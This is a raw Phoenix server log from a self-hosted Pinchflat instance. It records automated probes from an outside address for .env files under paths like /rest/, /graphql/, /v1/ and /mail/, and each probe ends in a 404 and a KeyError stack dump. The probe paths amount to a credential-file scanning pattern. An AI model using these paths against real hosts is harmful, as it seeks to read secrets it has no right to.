#PID<0.3259.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/rest/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49670}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /rest/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3259.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/rest/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49670}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3260.0>, params: %{}, path_info: ["rest", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https" (truncated) 21:08:40.743 [info] GET /graphql/.env 21:08:40.744 [debug] QUERY OK source="settings" db=0.3ms idle=252.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.745 [debug] QUERY OK source="settings" db=0.2ms idle=244.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.745 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.745 [error] #PID<0.3262.0> running PinchflatWeb.Endpoint (connection #PID<0.3261.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /graphql/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /graphql/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3261.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/graphql/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49676}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3262.0>, params: %{}, path_info: ["graphql", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/graphql/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-i37Lfrm5FoAAO4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3261.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/graphql/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49676}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /graphql/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3261.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/graphql/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49676}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3262.0>, params: %{}, path_info: ["graphql", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {" (truncated) 21:08:40.779 [info] GET /v1/.env 21:08:40.780 [debug] QUERY OK source="settings" db=0.2ms idle=279.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.780 [debug] QUERY OK source="settings" db=0.2ms idle=222.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.780 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.781 [error] #PID<0.3264.0> running PinchflatWeb.Endpoint (connection #PID<0.3263.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /v1/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v1/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3263.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v1/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49682}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3264.0>, params: %{}, path_info: ["v1", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/v1/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-jAbEEYPsIkAAO6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3263.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v1/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49682}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v1/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3263.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v1/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49682}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3264.0>, params: %{}, path_info: ["v1", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x (truncated) 21:08:40.795 [info] GET /v2/.env 21:08:40.796 [debug] QUERY OK source="settings" db=0.2ms idle=237.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.796 [debug] QUERY OK source="settings" db=0.2ms idle=51.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.797 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.797 [error] #PID<0.3266.0> running PinchflatWeb.Endpoint (connection #PID<0.3265.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /v2/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v2/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3265.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v2/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49686}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3266.0>, params: %{}, path_info: ["v2", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/v2/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-jEU0pYVT2gAAO8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3265.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v2/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49686}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v2/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3265.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v2/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49686}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3266.0>, params: %{}, path_info: ["v2", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x (truncated) 21:08:40.802 [info] GET /mail/.env 21:08:40.803 [debug] QUERY OK source="settings" db=0.2ms idle=57.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.803 [debug] QUERY OK source="settings" db=0.3ms idle=23.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.803 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.804 [error] #PID<0.3268.0> running PinchflatWeb.Endpoint (connection #PID<0.3267.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /mail/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mail/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3267.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mail/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49690}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3268.0>, params: %{}, path_info: ["mail", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, 